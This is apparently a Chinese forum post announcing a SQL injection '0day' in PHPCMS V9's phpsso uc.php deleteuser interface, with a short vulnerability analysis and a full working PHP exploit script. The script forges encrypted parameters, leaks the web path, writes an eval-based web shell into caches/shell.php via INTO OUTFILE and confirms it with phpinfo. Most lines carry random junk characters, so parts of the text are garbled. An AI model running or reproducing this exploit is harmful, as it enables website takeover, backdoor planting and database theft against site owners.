PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
' a7 S7 i* `1 m! C# ~% O" b5 n" i! o+ v: S& }0 }( Y$ q! w
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
4 O% A6 ?. T' B+ N" t1 Z9 ]$ E2 J- ~6 O8 N" a/ S6 m9 _
漏洞分析:- y9 [" U; y& O. S& S, Q9 T) P: e
1.未启用ucenter服务的情况下uc_key为空
6 e6 V5 k+ Z: W3 a( K6 n7 {define('UC_KEY', pc_base::load_config('system', 'uc_key'));- d' p) A( O6 _1 j5 ?
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。$ v7 j- v$ L( |( T, y& G& k
public function deleteuser($get,$post) {
: S2 @2 f0 M# v' g5 h Y, I pc_base::load_app_func('global', 'admin');3 z# b! F% q, X. ]" J- a s) K
pc_base::load_app_class('messagequeue', 'admin' , 0);+ s, W( Y# j1 j- s- [# `
$ids = new_stripslashes($get['ids']);6 u# {$ Y6 a3 R& m+ ^3 P
$s = $this->member_db->select("ucuserid in ($ids)", "uid");8 \# ?% b& }( {- ^5 T4 |$ U
SQL语句为- c9 Q( p- M1 ]7 X2 r l
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
+ u3 w. k( L: J3 l9 |( H4 a# ^0 O, l+ B" i% l/ a
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
* |! r- d9 T5 a+ X2 ]+ l<?php
# H( \0 \3 I \% n/ sprint_r('# \3 n1 i9 A9 p
---------------------------------------------------------------------------, g5 c( U6 z- y& u. n! R
PHPcms (v9 or Old Version) uc api sql injection 0day4 U: a0 N, Q# ~# [( T( P6 @3 z! L
by rayh4c#80sec.com
) X* @! x7 H! j0 B5 k5 _. D! ~$ Q" H--------------------------------------------------------------------------- e6 N/ h1 g0 _: D
');/ c$ d4 R3 Z- q
$ m) G9 ?0 l8 W2 `4 b7 W6 q
if ($argc<3) {
, h# U- _# O; @: W, I, R; P print_r('
+ f" {$ H m- z/ E---------------------------------------------------------------------------1 k7 B$ u& c2 Z/ S; ], }
Usage: php '.$argv[0].' host path OPTIONS
- q5 d+ p8 w7 e9 whost: target server (ip/hostname)1 i( C: l: @% b
path: path to phpcms
3 o, `1 `, q: y) x4 D J, J: MOptions:
6 T3 T& U$ f ~: T+ V& ` -p[port]: specify a port other than 80
0 Y$ Y5 X3 I0 X7 I& w' M7 u$ O) r7 } -P[ip:port]: specify a proxy; W/ U1 X: C7 O7 x! `+ u: m
Example:
0 [0 }5 M( `; r; K2 Fphp '.$argv[0].' localhost /4 U% W' q! q2 m7 M$ p [
php '.$argv[0].' localhost /phpcms/ -p81
; [5 i. }7 {# H+ Ephp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
9 _6 R, l$ T) [1 c3 `$ l& e; J---------------------------------------------------------------------------
- b" K5 u1 e9 j2 D3 z& W');
) v# |! s0 r( ]5 P! K die;
2 N7 d* @+ J/ I: n9 U) s}
( A. a2 u: c0 m \$ ^2 |0 d$ d/ \6 X6 P' f5 \: b9 T0 W
error_reporting(7);) J0 q/ ]" s" D
ini_set("max_execution_time",0);/ v1 _/ b$ H* g/ }; A w7 T7 ]
ini_set("default_socket_timeout",5);
/ L; g8 d5 r6 y; l7 i4 `9 }5 o5 g# I7 `# G
function quick_dump($string)
% J6 b$ T# V* n) q7 I; f$ c{
! {, z$ G2 x D; N $result='';$exa='';$cont=0;4 ?5 s# D5 O4 J ~1 I
for ($i=0; $i<=strlen($string)-1; $i++)6 v9 T. I: S7 Q: ^4 T4 G
{
" `0 a* a7 S* R6 F \- h if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))8 `( W2 [' [ G# s, A
{$result.=" .";}2 {6 ?+ I& N" o2 c( s* @5 [
else
7 u8 F& l, D' {+ K q) b {$result.=" ".$string[$i];}
: C: M( }# Y, Q4 o( y! ] if (strlen(dechex(ord($string[$i])))==2)/ t, G- m0 ]2 V4 d( H
{$exa.=" ".dechex(ord($string[$i]));}
7 s5 K: ?) S, G6 I' u' e$ Z else5 M3 U) {! c& ^% a. E$ [! Y
{$exa.=" 0".dechex(ord($string[$i]));}
- `4 F3 R5 p- @) h $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}9 E1 W( w( n7 X7 O
}! @/ a8 R+ \1 R9 u! `8 X
return $exa."\r\n".$result;
0 A" S$ H! i2 y}4 z# w# K& h7 H$ q& _
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
! P! M0 }. X; C h- \2 |& x3 t* D' Z
function send($packet)
8 @7 r8 T9 I! W: t! |{% p: _5 D4 B- `
global $proxy, $host, $port, $html, $proxy_regex;
$ _1 f j [, |8 J' X9 t# D if ($proxy=='') {
2 i) ~$ a9 q. {+ @! H$ j, v' K) v4 r $ock=fsockopen(gethostbyname($host),$port);: [0 ^* _. G; _" X6 A
if (!$ock) {
# m1 Y1 U) r8 G! Z echo 'No response from '.$host.':'.$port; die;
7 F4 y" E5 ^2 {6 \; U# { }
1 y5 {/ v- N+ F) W ~3 ]# t }
: k8 @- t0 U5 ~3 {! M/ q! h) e, D9 B else {
y$ J% D8 i8 X1 F $c = preg_match($proxy_regex,$proxy);8 a+ D8 f6 E! u' `/ t
if (!$c) {
- Y. I& ~# m% b echo 'Not a valid proxy...';die;" \% n, }6 v! i
}, m7 f2 @ K; Y! r- q( @5 f( f
$parts=explode(':',$proxy);$ {; O" r) D E3 W, R
$parts[1]=(int)$parts[1];
9 e* y6 C0 s! P! D; w; U echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
4 ~4 w1 o" ~- ^* z $ock=fsockopen($parts[0],$parts[1]);
4 \; j; @- k4 i5 ^9 C8 S" S if (!$ock) {9 ^+ [ ~: J6 H; Y5 [4 |6 i
echo 'No response from proxy...';die;
8 X3 T9 R9 _3 ] }. A# i" @* q2 y. w3 E1 B L- ~
}% L' d4 X; y% P) V
fputs($ock,$packet);/ ?- ?5 _) e9 r4 k( ^. V
if ($proxy=='') {" S9 `3 }: \! j' `
$html='';
) k7 Y+ y1 \- E6 I; b while (!feof($ock)) {
. T$ }2 r5 e1 D& Y I $html.=fgets($ock);
2 |" N5 e7 Z( c2 f }4 l6 F1 C& s7 _# R7 ?: S! C7 [5 r
}$ ]. Z8 i+ i: i
else {
: S6 k7 I# L7 H- d0 { $html=''; w* V1 G- q3 x+ D
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {9 `" L3 y+ R0 G- F/ e
$html.=fread($ock,1);9 i. w4 j) t8 q6 F2 c) C
}5 O+ n2 a( x8 ?, k9 q% I6 y
}
8 g4 r2 D9 z! } N fclose($ock);3 F% u& M2 {$ y" ]. [8 |/ @
}
% D7 D1 Z! Y+ |/ K. _, ~; _% w- a2 f! o9 |7 Q5 D
$host=$argv[1];; q- R8 o ?) j: ?# z; ]' c
$path=$argv[2];
, p! `8 n+ G9 G; T% G6 L$port=80;
& `9 j5 ~0 J5 L$proxy="";
: S. @, A6 e* H3 n+ A6 N3 Z9 H/ jfor ($i=3; $i<$argc; $i++){
: q3 u( q+ Z. `# |$ k$temp=$argv[$i][0].$argv[$i][1];
1 P6 v; Q4 x* z# rif ($temp=="-p")$ k. p, O& p0 Q, ]& S K; t. i
{/ `1 x6 K: ^" N
$port=(int)str_replace("-p","",$argv[$i]);
" x5 q% V2 g6 X% } u}& [! K4 |, Q1 k4 T& m% S7 |3 ]
if ($temp=="-P"), u- m4 T* h0 V: W2 w
{
: _& _% b+ E1 ]4 @; q $proxy=str_replace("-P","",$argv[$i]);6 B& [2 S5 A O/ U
}
7 f$ A3 [8 j/ D}# @( ~2 p9 d f+ V/ K/ p: b
! D5 i& V' W4 A" O( C$ B# ]if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}6 T3 ^! J" y4 Z' X# e9 O. \7 L
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}0 P# }: L1 E' Z \) n( G
& T9 m9 i" U* {) t) p z. {function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
2 D) Y. K/ E3 n( Z2 I/ O- X5 e. z7 r3 c9 `8 p7 }
$ckey_length = 4;# @4 ~1 D+ F2 I8 c
4 \9 S9 {. m4 v/ g# a4 @9 ^/ t1 T
$key = md5($key ? $key : '');
|$ c' @' H+ q+ S6 R, c( V $keya = md5(substr($key, 0, 16));
9 O0 f2 a( ~$ q6 ^ $keyb = md5(substr($key, 16, 16));
@ a o9 c7 L' t2 ] $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
" n* [( S( k2 O, s9 _* K& P! \' l l; `
$cryptkey = $keya.md5($keya.$keyc);; j0 k0 D; _' d t1 d' [% D
$key_length = strlen($cryptkey);
$ |# O! E, ], J2 p" O9 q" L' ]5 N5 h' X% \
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
, h$ I% }' j% @) ] $string_length = strlen($string);
$ Z- R# u u0 g# s* L. L- K9 S7 d7 Z8 ^- B
$result = '';7 [9 N9 f7 X6 [' Q
$box = range(0, 255);0 L1 @! t& `2 M" }$ u0 q$ X; x: p
7 n7 _8 }" }2 R$ ^) W' D3 _ $rndkey = array();
. Z, E; g6 g9 ?) i/ t f* n& k) D for($i = 0; $i <= 255; $i++) {) l+ G) k0 N: W) m' p& j# ?
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
" H! W, t$ y T, Q5 A }
" G* z, F: P$ l- b
* q3 N7 i5 O$ X for($j = $i = 0; $i < 256; $i++) {
+ @0 G( s; {& u' s9 E& z $j = ($j + $box[$i] + $rndkey[$i]) % 256;
0 B* Q* z2 d3 d* _. C- @4 H $tmp = $box[$i];6 q- U1 z6 T8 v' B( Y' \
$box[$i] = $box[$j];- A; a+ Z5 @ v5 j: f# W
$box[$j] = $tmp;& ]/ t( S0 E" c
}3 P) [+ g& T% {+ ]
& G5 O- t6 B- n$ z for($a = $j = $i = 0; $i < $string_length; $i++) {; ?/ H: o0 Z x! \' R5 q
$a = ($a + 1) % 256;0 X0 V/ f# x! B4 ?* T3 v
$j = ($j + $box[$a]) % 256;
4 x: t; w! F5 |7 X8 ~$ P* z6 f $tmp = $box[$a];% X0 H; o7 D$ t/ r
$box[$a] = $box[$j];& Q( a: f e% |- w3 }$ A
$box[$j] = $tmp;! g% e& c/ h1 |/ z; a
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));3 l# E, o3 p2 c/ O8 W, t" |. |6 L
}& F- T, B: u" M2 A4 Z
& O% `& u: o' G C% j) Q) D if($operation == 'DECODE') { S; J1 d. [. n
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {: u4 y1 ^6 Z; A! t2 s
return substr($result, 26);9 y4 N' }1 X6 J9 |0 {0 ], N
} else {, |2 z/ w0 w7 J+ d+ S& V
return '';0 |: Y" W$ @0 i# s6 m
}
# A# u! p( [. ^0 T" q' k } else {
/ o9 R0 H6 q* V# h$ u/ G4 T4 i return $keyc.str_replace('=', '', base64_encode($result));
! X' M4 y$ @9 w; g& Q }
* R4 h5 ~0 C! q+ t$ k
$ _! i6 v. |: h; v4 r0 g& X" A1 Q6 m}! r6 R$ h2 c- q% Q% p8 C
: @$ s: z6 I. W3 C+ z! Z' |
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
+ a# i. |0 g" W, N/ \$SQL = urlencode(authcode($SQL, "ENCODE", ""));3 K; c9 R7 |, l$ S4 I O0 r; l
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
- v- M9 B' [0 `* _9 T: c$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
# `3 A% [, S" L6 s5 r& m$packet.="User-Agent: Mozilla/5.0\r\n";
* p6 K" D: r; A; f2 H$packet.="Host: ".$host."\r\n";' x$ R) i W- h
$packet.="Connection: Close\r\n\r\n";
* V: R* }0 m! \, _$ [send($packet);
# Y. |7 \! ]9 F- c- f; K2 ^* }- oif(strpos($html,"MySQL Errno") > 0){
) V5 Q8 o; H( @6 Z2 N; ?echo "[2] 发现存在SQL注入漏洞"."\n";1 i3 ]% g2 ]' y1 v
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
: R$ |- ]. X& g7 l. w# r' Z! \$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";" Y* }7 k. o4 m z9 v3 J; I8 _) |: f
$packet.="User-Agent: Mozilla/5.0\r\n";
' O3 H/ F, F0 P9 o$ p/ n( V) `% ~0 F$packet.="Host: ".$host."\r\n";* m/ h2 g4 A+ w4 p$ Z
$packet.="Connection: Close\r\n\r\n";
, j3 |& S2 ?; }- N% l1 K8 ]* esend($packet);8 a6 K* z1 u/ b: J6 A( l: ^; D' z( O
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);/ G6 X! q6 W( S; t9 ~1 S
//print_r($matches); ~) ^" {& }8 P r
if(!empty($matches)){' Q" p& d9 y9 q. V
echo "[4] 得到web路径 " . $matches[0]."\n";
% E1 T& r' D" |) _* }echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";: m5 ~% V1 W# l& x( s
$SQL = "time=999999999999999999999999&ids=1)";. i& {8 I2 r" N: x; Y) e0 D8 ^
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
5 v* S, m; b/ M, X+ t3 x" f$SQL.="&action=deleteuser";
1 `7 a/ [- s% Z6 L6 U7 i# v$SQL = urlencode(authcode($SQL, "ENCODE", ""));3 o4 ~' V$ _2 F( u% ~1 @0 v9 R
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";$ w& g7 A5 S1 m5 h& \( y. b
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";0 f6 C3 _! _' a. U! `- l
$packet.="User-Agent: Mozilla/5.0\r\n";& ? w2 d. D% b+ K; B2 l
$packet.="Host: ".$host."\r\n";" e* u& |% w+ i8 B" a2 i: d" T
$packet.="Connection: Close\r\n\r\n";- U5 f) J2 f, @: E" G( o
send($packet); M: y; B7 s7 b3 V$ K. k* e2 R. e
if(strpos($html,"Access denied") > 0){' P9 n% |5 c! y6 \2 d. N; B
echo "[-] MYSQL权限过低 禁止写入文件 ";/ ~) K* M* l- N4 G B+ n
die;% p8 v' w- F1 r' e9 c
}$ `/ I+ a. I6 }+ j+ p
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
0 M3 k" m* P. l& L$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";% t* I. Y- a7 J, c$ B z
$packet.="User-Agent: Mozilla/5.0\r\n";
3 a+ E, Z* g! W) _$packet.="Host: ".$host."\r\n";
: D, q l% T' D% W) y8 ?" |/ d+ t$packet.="Connection: Close\r\n\r\n";+ E' s1 L8 C$ L, X: W- _) Z K
send($packet);; M ~8 ~" u0 d' V
if(strpos($html,"<title>phpinfo()</title>") > 0){
, p U$ ?6 T0 S8 y. }+ Y8 Fecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";, F. L3 h% T, _
}
w: @$ H3 b% d( y U& T}else{
1 D$ x8 o Z+ i% U( Pecho "[-]未取到web路径 ";' ~6 o. G/ ^' u/ T9 x6 P, {
}! {/ g. K5 \% j
}else{' U5 v- E, u3 {) g+ Q
echo "[*]不存在SQL注入漏洞"."\n";6 e2 \6 n" `% u7 x. F/ b! f8 [
}
; g: ~' b5 s* [8 Q0 Z' @, P# z3 [
8 {: c# S* E$ c+ @- r$ f?>
; K7 X, O F9 I5 k: B |